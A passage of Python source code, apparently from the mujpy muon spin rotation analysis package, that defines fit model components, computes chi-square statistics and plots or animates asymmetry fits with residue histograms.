instrument = self.filespecs[0].value.split('_')[2] # valid for psi with standard names 'deltat_tdc_gpd_xxxx.bin'
for j,run in enumerate(self._the_runs_[k]): # more than one: add sequence
rundict0 = {}
rundict0.update({'nhist':run.get_numberHisto_int()})
rundict0.update({'histolen':run.get_histoLength_bin()})
rundict0.update({'binwidth':run.get_binWidth_ns()})
rundict0.update({'instrument':instrument})
if not rundict: # rundict contains only the first run of an add sequence (ok also for no add)
rundict = rundict0
elif rundict0!=rundict: # trying to add runs with different nhist, histolen, binwidth, instrument?
rundict.update({'error':run.get_runNumber_int()})
break
rundict.update({'nrun':self._the_runs_[k][0].get_runNumber_int()})
rundict.update({'date':self._the_runs_[k][0].get_timeStart_vector()})
return rundict
##########################
# FIT
##########################
def fit(self, model_in = ''): # '' is reset to a 'daml' default before create_model(model_in')
# self.fit(model_in = 'mgmgbl') produces a different layout
'''
fit tab of mugui, used
- to set: self.alpha.value, self.offset.value, forw and backw groups fit and plot ranges, model version
- to display: model name
- to activate: fit, plot and update buttons
- to select and load model (load from folder is missing/deprecated in python)
- to select parameters value, fix, function, fft subtract
::
# the calculation is performed in independent class mucomponents
# the methods are "inherited" by mugui
# via the reference instance self._the_model_, initialized in steps:
# __init__ share initial attributes (constants)
# _available_components_ automagical list of mucomponents
# clear_asymmetry: includes reset check when suite is implemented
# create_model: lay out self._the_model_
# delete_model: for a clean start
# functions use eval, evil but needed, checked by muvalid,
# iminuit requires them to be formatted as fitarg by int2min
# help
# load
# save_fit/load_ft save results in mujpy format (dill)
# write_csv produces a qtiplot/origin loadable summary
#
# Three fit types: single, suite no global, suite global.
# Suite non global iterates a single fit over several runs
# Suite global performs a single fit over many runs,
# with common (global) and run dependent (local) parameters
'''
from mujpy.mucomponents.mucomponents import mumodel
import numpy as np
def _available_components_():
from iminuit import describe
'''
Method, returns a template tuple of dictionaries (one per fit component):
Each dictionary contains 'name' and 'pars',
the latter in turns is a list of dictionaries, one per parameter, 'name','error,'limits'
:: ({'name':'bl','pars':[{'name':'asymmetry','error':0.01,'limits'[0,0]},
{'name':'Lor_rate','error':0.01,'limits'[0,0]}},
...)
retreived magically from the mucomponents class.
'''
_available_components = [] # is a list, mutable
# generates a template of available components.
for name in [module for module in dir(mumodel()) if module[0]!='_']: # magical extraction of component names
pars = describe(mumodel.__dict__[name])[2:] # the [2:] is because the first two arguments are self and x
_pars = []
# print('pars are {}'.format(pars))
for parname in pars:
# The style is like iminuit fitargs, but not exactly,
# since the latter is a minuit instance:
# it will contain parameter name: parname+str(k)[+'_'+str(nrun)]
# error_parname, fix_parname (False/True), limits_parname, e.g.
# {'amplitude1_354':0.154,'error_amplitude1_354':0.01,'fix_amplitude1_354':False,'limits_amplitude1_354':[0, 0]
#
# In this template only
# {'name':'amplitude','error':0.01,'limits':[0, 0]}
error, limits = 0.01, [0, 0] # defaults
if parname == 'field' or parname == 'phase' or parname == 'dipfield': error = 1.0
if parname == 'beta': error,limits = 0.05, [1.e-2, 1.e2]
# add here special cases for errors and limits, e.g. positive defined parameters
_pars.append({'name':parname,'error':error,'limits':limits})
_available_components.append({'name':name,'pars':_pars})
self.available_components = (_available_components) # these are the mucomponents method directories
# transformed in tuple, immutable
self.component_names = [self.available_components[i]['name']
for i in range(len(self.available_components))] # list of just mucomponents method names
def addcomponent(name,label):
'''
myfit = MuFit()
addcomponent('ml') # adds e.g. a mu precessing, lorentzian decay, component
this method adds a component selected from self.available_component, tuple of directories
with zeroed values, stepbounds from available_components, flags set to '~' and empty functions
'''
from copy import deepcopy
if name in self.component_names:
k = self.component_names.index(name)
npar = len(self.available_components[k]['pars']) # number of pars
pars = deepcopy(self.available_components[k]['pars']) # list of dicts for
# parameters, {'name':'asymmetry','error':0.01,'limits':[0, 0]}
# now remove parameter name degeneracy
for j, par in enumerate(pars):
pars[j]['name'] = par['name']+label
pars[j].update({'value':0.0})
pars[j].update({'flag':'~'})
pars[j].update({'function':''}) # adds these three keys to each pars dict
# they serve to collect values in mugui
self.model_components.append({'name':name,'pars':pars})
return True # OK code
else:
self.console('\nWarning: '+name+' is not a known component. Not added.\n'+
'With myfit = mufit(), type myfit.help to see the available components')
return False # error code
def create_model(name):
'''
myfit = MuFit()
myfit.create_model('daml') # adds e.g. the two component 'da' 'ml' model
this method adds a model of components selected from the available_component tuple of
directories
with zeroed values, stepbounds from available_components, flags set to '~' and empty functions
'''
import string
# name 2_0_mlml_blbl for 2 global parameters (A0 R), 0 kocal parameters (B end T) and two models
# e.g. alpha fit with a WTF and a ZF run, with two muon fractions of amplitude A0*R and A0*(1-R) respectively
# find the three underscores in name by
# [i for i in range(len(name)) if name.startswith('_', i)]
components = checkvalidmodel(name)
if components: # exploits the fact that [] is False and ['da'] is true
self.model = name
self.model_components = [] # start from empty model
for k,component in enumerate(components):
label = string.ascii_uppercase[k]
if not addcomponent(component,label):
return False
return True
else:
return False
def checkvalidmodel(name):
'''
checkvalidmodel(name) checks that name is a
:: 2*component string of valid component names, e.g.
'daml' or 'mgmgbl'
'''
components = [name[i:i+2] for i in range(0, len(name), 2)]
for component in components:
if component not in self.component_names:
self.console('Warning: '+component+' is not a known component. Not added.\n'+
'With myfit = mufit(), type myfit.help to see the available components')
return [] # error code
return components
def chi(t,y,ey,pars):
'''
stats for the right side of the plot
'''
nu = len(t) - self.freepars # degrees of freedom in plot
# self.freepars is calculated in int2min
self._the_model_._load_data_(t,y,int2_int(),
float(self.alpha.value),e=ey)
# int2_int() returns a list of methods to calculate the components
f = self._the_model_._add_(t,*pars) # f for histogram
chi2 = self._the_model_._chisquare_(*pars)/nu # chi2 in plot
return nu,f,chi2
def fitplot(guess=False,plot=False):
'''
Plots fit results in external Fit window
guess=True plot dash guess values
guess=False plot best fit results
plot=False best fit, invoke write_csv
plot=True do not
This is a complex routine that allows for
:: - single, multiple or global fits
- fit range different form plot range
- either
one plot range, the figure is a subplots((2,2))
plot ax_fit[(0,0), chi2_prints ax_fit[(0,-1)]
residues ax_fit[(1,0)], chi2_histograms ax_fit[(1,-1)]
two plot ranges, early and late, the figure is a subplots((3,2))
plot_early ax_fit[(0,0)], plot_late ax_fit[(0,1)], chi2_prints ax_fit[(0,-1)]
residues_early ax_fit[(1,0)], residues_late ax_fit[(1,1)], chi2_histograms ax_fit[(1,-1)]
If multi/globalfit, it also allows for either
:: - anim display
- offset display
'''
import matplotlib.pyplot as P
from mujpy.aux.aux import derange, rebin, get_title, plotile, set_bar
from scipy.stats import norm
from scipy.special import gammainc
import matplotlib.path as path
import matplotlib.patches as patches
import matplotlib.animation as animation
from matplotlib import ticker
font = {'family':'Ubuntu','size':10}
P.rc('font', **font)
###################
# PYPLOT ANIMATIONS
###################
def animate(i):
'''
anim function
update errorbar data, fit, residues and their color,
chisquares, their histograms
'''
# from mujpy.aux.aux import get_title
# print('animate')
# nufit,ffit,chi2fit = chi(tfit[0],yfit[i],eyfit[i],pars[i])
# nu,dum,chi2plot = chi(t[0],y[i],ey[i],pars[i])
# color = next(self.ax_fit[(0,0)]._get_lines.prop_cycler)['color']
line.set_ydata(y[i]) # begin errorbar
line.set_color(color[i])
line.set_markerfacecolor(color[i])
line.set_markeredgecolor(color[i])
segs = [np.array([[q,w-a],[q,w+a]]) for q,w,a in zip(t[0],y[i],ey[i])]
ye[0].set_segments(segs)
ye[0].set_color(color[i]) # end errorbar
fline.set_ydata(f[i]) # fit
fline.set_color(color[i])
res.set_ydata(y[i]-fres[i]) # residues
res.set_color(color[i])
# self.ax_fit[(0,0)].relim(), self.ax_fit[(0,0)].autoscale_view()
if len(returntup)==5:
linel.set_ydata(ylate[i]) # begin errorbar
linel.set_color(color[i])
linel.set_markerfacecolor(color[i])
linel.set_markeredgecolor(color[i])
segs = [np.array([[q,w-a],[q,w+a]]) for q,w,a in zip(tlate[0],ylate[i],eylate[i])]
yel[0].set_segments(segs)
yel[0].set_color(color[i]) # end errorbar
flinel.set_ydata(fl[i]) # fit
flinel.set_color(color[i])
resl.set_ydata(ylate[i]-flres[i]) # residues
resl.set_color(color[i])
# self.ax[(0,1)].relim(), self.ax[(0,1)].autoscale_view()
self.ax_fit[(0,0)].set_title(get_title(self._the_runs_[i][0]))
nhist,dum = np.histogram((yfit[i]-ffit[i])/eyfit[i],xbin)
top = bottomf + nhist
vertf[1::5, 1] = top
vertf[2::5, 1] = top
nhist,dum = np.histogram((y[i]-fres[i])/ey[i],xbin,weights=nufit[i]/nu[i]*np.ones(t.shape[1]))
top = bottomp + nhist
vertp[1::5, 1] = top
vertp[2::5, 1] = top
patchplot.set_facecolor(color[i])
patchplot.set_edgecolor(color[i])
nufitplot.set_ydata(nufit[i]*yh)
string = '$\chi^2_f=$ {:.4f}\n ({:.2f}-{:.2f})\n$\chi^2_c=$ {:.4f}\n{} dof\n'.format(chi2fit[i],
lc[i],hc[i],gammainc(chi2fit[i],nufit[i]),nufit[i])
if len(returntup)==5:
nulate,dum,chi2late = chi(tlate[0],ylate[i],eylate[i],pars[i])
string += '$\chi^2_e=$ {:.4f}\n$\chi^2_l=$ {:.4f}'.format(chi2plot[i],chi2late)
else:
string += '$\chi^2_p=$ {:.4f}'.format(chi2plot[i])
text.set_text('{}'.format(string))
if len(returntup)==5:
return line, ye[0], fline, res, linel, yel[0], flinel, resl, patchfit, patchplot, nufitplot, text
else:
return line, ye[0], fline, res, patchfit, patchplot, nufitplot, text
def init():
'''
anim init function
blitting (see wikipedia)
to give a clean slate
'''
from mujpy.aux.aux import get_title
# nufit,ffit,chi2fit = chi(tfit[0],yfit[0],eyfit[0],pars[0])
# nu,dum,chi2plot = chi(t[0],y[0],ey[0],pars[0])
# color = next(self.ax_fit[(0,0)]._get_lines.prop_cycler)['color']
line.set_ydata(y[0]) # begin errorbar
line.set_color(color[0])
segs = [np.array([[q,w-a],[q,w+a]]) for q,w,a in zip(t[0],y[0],ey[0])]
ye[0].set_segments(segs)
ye[0].set_color(color[0]) # end errorbar
fline.set_ydata(f[0]) # fit
fline.set_color(color[0])
res.set_ydata(y[0]-fres[0]) # residues
res.set_color(color[0])
if len(returntup)==5:
linel.set_ydata(ylate[0]) # begin errorbar
linel.set_color(color[0])
segs = [np.array([[q,w-a],[q,w+a]]) for q,w,a in zip(tlate[0],ylate[0],eylate[0])]
yel[0].set_segments(segs)
yel[0].set_color(color[0]) # end errorbar
flinel.set_ydata(fl[0]) # fit
flinel.set_color(color[0])
resl.set_ydata(ylate[0]-flres[0]) # residues
resl.set_color(color[0])
self.ax_fit[(0,0)].set_title(get_title(self._the_runs_[0][0]))
nhist,dum = np.histogram((yfit[0]-ffit[0])/eyfit[0],xbin)
top = bottomf + nhist
vertf[1::5, 1] = top
vertf[2::5, 1] = top
nhist,dum = np.histogram((y[0]-fres[0])/ey[0],xbin,weights=nufit[0]/nu[0]*np.ones(t.shape[1]))
top = bottomp + nhist
vertp[1::5, 1] = top
vertp[2::5, 1] = top
patchplot.set_facecolor(color[0])
patchplot.set_edgecolor(color[0])
nufitplot.set_ydata(nufit[0]*yh)
string = '$\chi^2_f=$ {:.4f}\n ({:.2f}-{:.2f})\n$\chi^2_c=$ {:.4f}\n{} dof\n'.format(chi2fit[0],
lc[0],hc[0],gammainc(chi2fit[0],nufit[0]),nufit[0])
if len(returntup)==5:
nulate,dum,chi2late = chi(tlate[0],ylate[0],eylate[0],pars[0])
string += '$\chi^2_e=$ {:.4f}\n$\chi^2_l=$ {:.4f}'.format(chi2plot[0],chi2late)
else:
string += '$\chi^2_p=$ {:.4f}'.format(chi2plot[0])
text.set_text('{}'.format(string))
# print('init')
if len(returntup)==5:
return line, ye[0], fline, res, linel, yel[0], flinel, resl, patchfit, patchplot, nufitplot, text
else:
return line, ye[0], fline, res, patchfit, patchplot, nufitplot, text
# FITPLOT BEGINS HERE
######################################################
# asymm[0] contains data from bin corresponding to
# the prompt peak bin (nt0) + self.offset bins (fit_start = 0 to start from there)
# pars is a list of lists of best fit parameter values
# self.time, self.asymm, self.asyme are 2D arrays (self.times.shape[0] is always 1)
# y, ey, f, fres, ylate, eylate, fl, flres, yfit, eyfit, ffit are 2D arrays
# tf, tfl, tlate, tfit are 2D array like self.time (e.g. tf.shape[0] is always 1)
##############################
# plot according to plot_range
##############################
# must provide maximum available bins = self.histoLength
returntup = derange(self.plot_range.value,self.histoLength)
if sum(n<0 for n in returntup)>0: # illegal values self.plot_range.value
# signalled by returntup = (-1,-1);
# restore defaults
tmp = self.plot_range.value
self.plot_range.value = self.plot_range0
self.plot_range.background_color = "mistyrose"
self.console('Wrong plot range: {}'.format(tmp))
return
self.asymmetry() # prepare asymmetry,
############################################
# choose pars for first/single fit function
############################################
fitarg = int2min(return_names=True) # from dash, fitarg is a list of dictionaries
# print('fitarg = {}\nself.minuit_parameter_names = {}'.format(fitarg,self.minuit_parameter_names))
if guess: # from dash, for plot guess
pars = [[fitarg[k][name] for name in self.minuit_parameter_names] for k in range(len(fitarg))]
###############################################################
# mock data loading to set alpha and global in self._the_model_
# in case no fit was done yet
###############################################################
if not self._the_model_._alpha_: # False if no _load_data_ yet
if self._global_:
self.console('global, mumodel load_data')
# self._the_model_ is an instance of mucomponents, and _load_data_ is one of its methods
self._the_model_._load_data_(self.time[0],self.asymm,int2_int(),
float(self.alpha.value),e=self.asyme,
_nglobal_=self.nglobals,
_locals_=self.locals) # int2_int() returns a list of methods to calculate the components
else:
# self.console('no global, mumodel load_data') # debug
self._the_model_._load_data_(self.time[0],
self.asymm[0],
int2_int(),
float(self.alpha.value),
e=self.asyme[0])
# int2_int() returns a list of methods to calculate the components
# string = 'Load data iok = {} [0=fine]. Time last = {:.2e}, A[0] = {:.2f}, alpha = {:.3f}'.format(pok,self._the_model_._x_[-1],self._themodel_._y_[0],self._the_model_._alpha_) # debug
# self.console(string)
else: # from lastfit, for best fit and plot best fit
pars = [[self.fitargs[k][name] for name in self.minuit_parameter_names] for k in range(len(self.fitargs))]
##########################################
# now self.time is a 1D array
# self.asymm, self.asyme are 1D or 2D arrays
# containing asymmetry and its std,
# for either single run or suite of runs
# pars[k] is the k-th par list for the fit curve of the k-th data row
##########################################
###############################################
# rebinnig for plot (different packing from fit)
###############################################
# early and late plots
######################
if len(returntup)==5: # start stop pack=packearly last packlate
start, stop, pack, last, packlate = returntup
tlate,ylate,eylate = rebin(self.time,self.asymm,[stop,last],packlate,e=self.asyme)
tfl,dum = rebin(self.time,self.asymm,[stop,last],1)
ncols, width_ratios = 3,[2,2,1]
###################
# single range plot
###################
else:
pack = 1
ncols, width_ratios = 2,[4,1]
if len(returntup)==3: # plot start stop pack
start, stop, pack = returntup
elif len(returntup)==2: # plot start stop
start, stop = returntup
t,y,ey = rebin(self.time,self.asymm,[start,stop],pack,e=self.asyme)
tf,dum = rebin(self.time,self.asymm,[start,stop],1)
yzero = y[0]-y[0]
#############################
# rebinning of data as in fit
#############################
fittup = derange(self.fit_range.value,self.histoLength) # range as tuple
fit_pack =1
if len(fittup)==3: # plot start stop pack
fit_start, fit_stop, fit_pack = fittup[0], fittup[1], fittup[2]
elif len(fittup)==2: # plot start stop
fit_start, fit_stop = fittup[0], fittup[1]
# if not self._single_ each run is a row in 2d ndarrays yfit, eyfit
tfit,yfit,eyfit = rebin(self.time,self.asymm,[fit_start,fit_stop],fit_pack,e=self.asyme)
# print('pars = {}'.format(pars))
# print('t = {}'.format(t))
f = np.array([self._the_model_._add_(tf[0],*pars[k]) for k in range(len(pars))]) # tf,f for plot curve
fres = np.array([self._the_model_._add_(t[0],*pars[k]) for k in range(len(pars))]) # t,fres for residues
ffit = np.array([self._the_model_._add_(tfit[0],*pars[k]) for k in range(len(pars))]) # t,fres for residues
if len(returntup)==5:
##############################################
# prepare fit curves for second window, if any
##############################################
fl = np.array([self._the_model_._add_(tfl[0],*pars[k]) for k in range(len(pars))]) # tfl,fl for plot curve
flres = np.array([self._the_model_._add_(tlate[0],*pars[k]) for k in range(len(pars))]) # tlate,flate for residues
###############################
# set or recover figure, axes
###############################
# if self.fig_tlog:
# self.fig_tlog.clf()
# self.fig_tlog,self.ax_tlog = P.subplots(num=self.fig_tlog.number)
#
# self.fig_tlog,self.ax_tlog = P.subplots()
# self.fig_tlog.canvas.set_window_title('Tlogger')
try:
if self.fig_fit: # has been set to a handle once
self.fig_fit.clf()
self.fig_fit,self.ax_fit = P.subplots(2,ncols,sharex = 'col',
gridspec_kw = {'height_ratios':[3,1],'width_ratios':width_ratios},
num=self.fig_fit.number)
self.fig_fit.subplots_adjust(hspace=0.05,top=0.90,bottom=0.12,right=0.97,wspace=0.03)
except: # handle does not exist, make one
self.fig_fit,self.ax_fit = P.subplots(2,ncols,figsize=(6,4),sharex = 'col',
gridspec_kw = {'height_ratios':[3, 1],'width_ratios':width_ratios})
self.fig_fit.canvas.set_window_title('Fit')
self.fig_fit.subplots_adjust(hspace=0.05,top=0.90,bottom=0.12,right=0.97,wspace=0.03)
##########################
# plot data and fit curve
##########################
#############
# animation
#############
if anim_check.value and not self._single_: # a single cannot be animated
# THIS BLOCK TAKE CARE OF THE FIRST ROW OF DATA (errobars, fit curve, histograms and all)
# pars[k] are the parameters to the run of the FIRST row, both for global and multi fits
# in anim therefore FIT CURVES (f, fres, fl, flres) ARE ALWAYS 1D ARRAYS
# animate must take care of updating parameters and producing correct fit curves
##############
# initial plot
##############
nufit,dum,chi2fit = chi(tfit[0],yfit[0],eyfit[0],pars[0])
color = []
for k in range(len(self.fitargs)):
color.append(next(self. ax_fit[(0,0)]._get_lines.prop_cycler)['color'])
line, xe, ye, = self.ax_fit[(0,0)].errorbar(t[0],y[0],yerr=ey[0],
fmt='o',elinewidth=1.0,ms=2.0,
mec=color[0],mfc=color[0],ecolor=color[0],alpha=0.5) # data
fline, = self.ax_fit[(0,0)].plot(tf[0],f[0],'-',lw=1.0,color=color[0],alpha=0.5) # fit
res, = self.ax_fit[(1,0)].plot(t[0],y[0]-fres[0],'-',lw=1.0,color=color[0],alpha=0.5) # residues
self.ax_fit[(1,0)].plot(t[0],yzero,'k-',lw=0.5,alpha=0.3) # zero line
ym,yM = y.min()*1.02,y.max()*1.02
rm,rM = (y-fres).min()*1.02,(y-fres).max()*1.02
ym,rm = min(ym,0), min(rm,0)
############################
# plot second window, if any
############################
if len(returntup)==5:
linel, xel, yel, = self.ax_fit[(0,1)].errorbar(tlate[0],ylate[0],yerr=eylate[0],
fmt='o',elinewidth=1.0,ms=2.0,alpha=0.5,
mec=color[0],mfc=color[0],ecolor=color[0]) # data
flinel, = self.ax_fit[(0,1)].plot(tfl[0],fl[0],'-',lw=1.0,alpha=0.5,color=color[0]) # fit
self.ax_fit[(0,1)].set_xlim(tlate[0,0], tlate[0,-1])
# plot residues
resl, = self.ax_fit[(1,1)].plot(tlate[0],ylate[0]-flres[0],'-',lw=1.0,alpha=0.5,color=color[0]) # residues
self.ax_fit[(1,1)].plot(tlate[0],ylate[0]-ylate[0],'k-',lw=0.5,alpha=0.3) # zero line
self.ax_fit[(0,1)].set_xlim(tlate.min(),tlate.max()) # these are the global minima
self.ax_fit [(1,1)].set_xlim(tlate.min(),tlate.max())
self.ax_fit [(1,1)].set_xlim(tlate.min(),tlate.max())
self.ax_fit [(1,1)].set_xlim(tlate.min(),tlate.max())
yml,yMl = ylate.min()*1.02,ylate.max()*1.02
rml,rMl = (ylate-flres).min()*1.02,(ylate-flres).max()*1.02
ym,yM,rm,rM = min(ym,yml),max(yM,yMl),min(rm,rml),max(rM,rMl)
self.ax_fit[(0,1)].set_ylim(ym,yM)
self.ax_fit[(1,1)].set_ylim(rm,rM)
self.ax_fit[(0,1)].yaxis.set_major_formatter(ticker.NullFormatter())#set_yticklabels([])#
self.ax_fit[(1,1)].yaxis.set_major_formatter(ticker.NullFormatter())#set_yticklabels([])#
###############################
# set title, labels
###############################
# print('title = {}'.format(get_title(self._the_runs_[0][0])))
self.ax_fit[(0,0)].set_title(get_title(self._the_runs_[0][0]))
self.ax_fit[(0,0)].set_xlim(0,t.max())
self.ax_fit[(0,0)].set_ylim(ym,yM)
self.ax_fit[(1,0)].set_ylim(rm,rM)
self.ax_fit[(1,0)].set_xlim(0,t.max())
self.ax_fit[(0,0)].set_ylabel('Asymmetry')
self.ax_fit[(1,0)].set_ylabel('Residues')
self.ax_fit[(1,0)].set_xlabel(r'Time [$\mu$s]')
self.ax_fit[(1,-1)].set_xlabel("$\sigma$")
self.ax_fit[(1,-1)].yaxis.set_major_formatter(ticker.NullFormatter())
#set_yticklabels(['']*len(self.ax_fit[(1,-1)].get_yticks()))#set_yticklabels([])#
self.ax_fit[(1,-1)].set_xlim([-5., 5.])
self.ax_fit[(0,-1)].axis('off')
########################
# chi2 distribution: fit
########################
xbin = np.linspace(-5.5,5.5,12)
nhist,dum = np.histogram((yfit[0]-ffit[0])/eyfit[0],xbin) # fc, lw, alpha set in patches
vertf, codef, bottomf, xlimf = set_bar(nhist,xbin)
barpathf = path.Path(vertf, codef)
patchfit = patches.PathPatch(
barpathf, facecolor='w', edgecolor= 'k', alpha=0.5,lw=0.7)
self.ax_fit[(1,-1)].add_patch(patchfit) #hist((yfit-ffit)/eyfit,xbin,rwidth=0.9,fc='w',ec='k',lw=0.7)
self.ax_fit[(1,-1)].set_xlim(xlimf[0],xlimf[1])
# self.ax_fit[(1,-1)].set_ylim(0, 1.15*nhist.max())
#########################################
# chi2 distribution: plots, scaled to fit
#########################################
nu,dum,chi2plot = chi(t[0],y[0],ey[0],pars[0])
nhist,dum = np.histogram((y[0]-fres[0])/ey[0],xbin,weights=nufit/nu*np.ones(t.shape[1]))
vertp, codep, bottomp, xlimp = set_bar(nhist,xbin) # fc, lw, alpha set in patches
barpathp = path.Path(vertp, codep)
patchplot = patches.PathPatch(
barpathp, facecolor=color[0], edgecolor= color[0], alpha=0.5,lw=0.7)
self.ax_fit[(1,-1)].add_patch(patchplot) # hist((y[0]-f/ey[0],xbin,weights=nufit/nu*np.ones(t.shape[0]),rwidth=0.9,fc=color,alpha=0.2)
###############################
# chi2 dist theo curve & labels
###############################
xh = np.linspace(-5.5,5.5,23) # static
yh = norm.cdf(xh+1)-norm.cdf(xh) # static
nufitplot, = self.ax_fit[(1,-1)].plot(xh+0.5,nufit*yh,'r-') # nufit depends on k
mm = round(nufit/4) # nu, mm, hb, cc, lc, hc depend on k
hb = np.linspace(-mm,mm,2*mm+1)
cc = gammainc((hb+nufit)/2,nufit/2) # muchi2cdf(x,nu) = gammainc(x/2, nu/2);
lc = 1+hb[min(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
hc = 1+hb[max(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
string = 'F-B: {} - {}\n'.format(self.group[0].value,self.group[1].value)
string += r'$\alpha=$ {}'.format(self.alpha.value)
string += '\n$\chi^2_f=$ {:.4f}\n ({:.2f}-{:.2f})\n$\chi^2_c=$ {:.4f}\n{} dof\n'.format(chi2fit,
lc,hc,gammainc(chi2fit,nufit),nufit)
if len(returntup)==5:
nulate,dum,chi2late = chi(tlate[0],ylate[0],eylate[0],pars[0])
string += '$\chi^2_e=$ {:.4f}\n$\chi^2_l=$ {:.4f}'.format(chi2plot,chi2late)
else:
string += '$\chi^2_p=$ {:.4f}'.format(chi2plot)
text = self.ax_fit[(0,-1)].text(-4,0.3,string)
self.fig_fit.canvas.manager.window.tkraise()
# save all chi2 values now
nufit,chi2fit,nu,chi2plot,lc,hc = [nufit],[chi2fit],[nu],[chi2plot],[lc],[hc] # initialize lists with k=0 value
for k in range(1,len(self.fitargs)):
nufitk,dum,chi2fitk = chi(tfit[0],yfit[k],eyfit[k],pars[k])
nufit.append(nufitk)
chi2fit.append(chi2fitk)
nuk,dum,chi2plotk = chi(t[0],y[k],ey[k],pars[k])
nu.append(nuk)
chi2plot.append(chi2plotk)
mm = round(nufitk/4) # nu, mm, hb, cc, lc, hc depend on k
hb = np.linspace(-mm,mm,2*mm+1)
cc = gammainc((hb+nufitk)/2,nufitk/2) # muchi2cdf(x,nu) = gammainc(x/2, nu/2);
lc.append(1+hb[min(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufitk)
hc.append(1+hb[max(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufitk)
# print('len(self.fitargs)) = {}'.format(len(self.fitargs)))
#########################################################
# animate (see): TAKES CARE OF i>0 PLOTS IN 2D ARRAYS
# DOES ALSO UPDATE pars AND FIT CURVES
#########################################################
self.anim_fit = animation.FuncAnimation(self.fig_fit,
animate,
range(0,len(self.fitargs)),init_func=init,
interval=anim_delay.value,repeat=True,
blit=False) #
###############################
# single and tiles with offset
###############################
########
# tile
########
else: # TILES: creates matrices for offset multiple plots (does nothing on single)
##############################
# THIS BLOCK TAKES CARE OF ALL ROWS OF DATA AT ONCE (errobars, fit curve, histograms and all)
# pars must refer to the run of the FIRST row, both for global and multi fits
# in anim therefore FIT CURVES (f, fres, fl, flres) ARE ALWAYS 1D ARRAYS
# animate must take care of updating parameters and producing correct fit curves
##############
# initial plot
##############f*
yoffset = 0.4
ymax = yoffset*fres.max() # this is an offset in the y direction, to be refined
# self.console('ymax = {:.2f}'.format(ymax))
rmax = 0.3*(y-fres).max()
xoffset = 0.
# print ('fres = {}'.format(fres.shape))
# ttile, ytile, yres = plotile(t,y.shape[0],offset=xoffset), plotile(y,offset=ymax), plotile(y-fres,offset=rmax) # plot arrays, ytile is shifted by ymax
# tftile, ftile = plotile(tf,y.shape[0],offset=xoffset), plotile(f,offset=ymax)
ytile, yres, ftile = plotile(y,offset=ymax), plotile(y-fres,offset=rmax), plotile(f,offset=ymax) # y plot arrays shifted by ymax
# self.console('after plotile ymax = {:.2f}'.format(ymax))
# print('ttile.shape = {}, ytile.shape= {}, yres.shape = {}, tftile.shape = {}, ftile.shape = {}'.format(ttile.shape,ytile.shape,yres.shape,tftile.shape,ftile.shape))
# print('f_tile = {}'.format(f_tile[0,0:50]))
#############################
# plot first (or only) window
#############################
# print(color)
# errorbar does not plot multidim
t1 = t.max()#/10.
t0 = np.array([0.8*t1,t1])
y0 = np.array([0.,0.])
for k in range(y.shape[0]):
color = next(self.ax_fit[0,0]._get_lines.prop_cycler)['color']
self.ax_fit[(0,0)].errorbar(t[0],
ytile[k],
yerr=ey[k],
fmt='o',
elinewidth=1.0,ecolor=color,mec=color,mfc=color,
ms=2.0,alpha=0.5) # data
self.ax_fit[(0,0)].plot(t0,y0,'-',lw=0.5,alpha=1,color=color)
self.ax_fit[(1,0)].plot(t[0],yres[k],'-',lw=1.0,alpha=0.3,zorder=2,color=color) # residues
self.ax_fit[(0,0)].plot(tf[0],ftile[k],'-',lw=1.5,alpha=1,zorder=2,color=color) # fit
y0 = y0 + ymax
self.ax_fit[(1,0)].plot(t[0],yzero,'k-',lw=0.5,alpha=0.3,zorder=0) # zero line
yzero = yzero + rmax
############################
# plot second window, if any
############################
y0 = np.array([0.,0.])
if len(returntup)==5:
# tltile, yltile, ylres = plotile(tlate,xdim=ylate.shape[0],
# offset=xoffset),plotile(ylate,
# offset=ymax),plotile(ylate-flres,offset=rmax) # plot arrays, full suite
# tfltile, fltile = plotile(tfl,offset=xoffset),plotile(fl,offset=ymax) # res offset is 0.03
yltile, ylres, fltile = plotile(ylate,offset=ymax), plotile(ylate-flres,
offset=rmax),plotile(fl,offset=ymax)
# y arrays, late
for k in range(y.shape[0]):
color = next(self.ax_fit[0,1]._get_lines.prop_cycler)['color']
self.ax_fit[(0,1)].errorbar(tlate[0],
yltile[k],
yerr=eylate[k],
fmt='o',
elinewidth=1.0,ecolor=color,mec=color,mfc=color,
ms=2.0,alpha=0.5) # data
self.ax_fit[(1,1)].plot(tlate[0],ylres[k],'-',lw=1.0,alpha=0.3,zorder=2,color=color) # residues
self.ax_fit[(0,1)].plot(tfl[0],fltile[k],'-',lw=1.5,alpha=1,zorder=2,color=color) # fit
# self.ax_fit[(1,1)].plot(tlate,tlate-tlate,'k-',lw=0.5,alpha=0.3,zorder=0) # zero line
self.ax_fit[(0,1)].set_xlim(tlate[0,0], tlate[-1,-1])
###############################
# set title, labels
###############################
ym,yM,rm,rM = ytile.min()-0.05,ytile.max()+0.01,yres.min()-0.005,yres.max()+0.005
self.ax_fit[(0,0)].set_xlim(0,t.max())
self.ax_fit[(0,0)].set_ylim(ym,yM)
self.ax_fit[(1,0)].set_ylim(rm,rM)
self.ax_fit[(1,0)].set_xlim(0,t.max())
if len(returntup)==5:
self.ax_fit[(0,1)].set_xlim(tlate[0,0], tlate[-1,-1])
self.ax_fit[(0,1)].set_ylim(ym,yM)
self.ax_fit[(1,1)].set_xlim(tlate[0,0], tlate[-1,-1])
self.ax_fit[(1,1)].set_ylim(rm,rM)
self.ax_fit[(0,1)].yaxis.set_major_formatter(ticker.NullFormatter())
self.ax_fit[(1,1)].yaxis.set_major_formatter(ticker.NullFormatter())
self.ax_fit[(0,0)].set_ylabel('Asymmetry')
self.ax_fit[(1,0)].set_ylabel('Residues')
self.ax_fit[(1,0)].set_xlabel(r'Time [$\mu$s]')
if self._single_:
self.ax_fit[(0,0)].set_title(str(self.nrun[0])+': '+self.title.value)
########################
# chi2 distribution: fit
########################
nufit,dum,chi2fit = chi(tfit[0],yfit[0],eyfit[0],pars[0])
nu,f,chi2plot = chi(t[0],y[0],ey[0],pars[0])
self.ax_fit[(0,0)].plot(t[0],f,'g--',lw=1.5 ,alpha=1,zorder=2)#,color=color) # fit
xbin = np.linspace(-5.5,5.5,12)
self.ax_fit[(1,-1)].hist((yfit[0]-ffit[0])/eyfit[0],xbin,rwidth=0.9,fc='w',ec='k',lw=0.7)
# self.ax_fit[(1,-1)].set_ylim(0, 1.15*nhist.max())
#########################################
# chi2 distribution: plots, scaled to fit
